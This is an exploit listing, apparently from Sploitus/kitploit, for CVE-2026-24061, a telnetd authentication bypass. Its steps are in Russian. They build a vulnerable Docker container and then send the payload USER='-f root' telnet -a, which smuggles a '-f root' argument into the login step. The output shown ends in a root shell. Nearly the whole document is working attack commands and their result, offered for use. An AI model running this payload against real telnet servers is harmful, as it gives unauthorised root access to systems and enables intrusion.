Sploitus

Exploit for CVE-2026-24061

kitploit · 2026-08-27

Exploit Code

MARKDOWN54 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-R00TUSER111-CVE-2026-24061
# CVE-2026-24061

## Шаги воспроизведения

Сборка образа

root@kitploit:~
    
    
    docker build -t telnetd-bypass .
    

Запуск контейнера

root@kitploit:~
    
    
    docker run -it --rm \
      --name telnetd-vuln \
      --privileged \
      -p 23:23 \
      telnetd-bypass
    

Отправка `payload`

root@kitploit:~
    
    
    USER='-f root' telnet -a 127.0.0.1 23
    

Результат

root@kitploit:~
    
    
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    
    Linux 6.10.14-linuxkit (c910afb30330) (pts/1)
    
    Linux c910afb30330 6.10.14-linuxkit #1 SMP Tue Oct 14 07:32:13 UTC 2025 aarch64
    
    The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    Last login: Thu Jan 22 05:55:47 UTC 2026 from 172.64.155.119 on pts/1
    root@c910afb30330:~#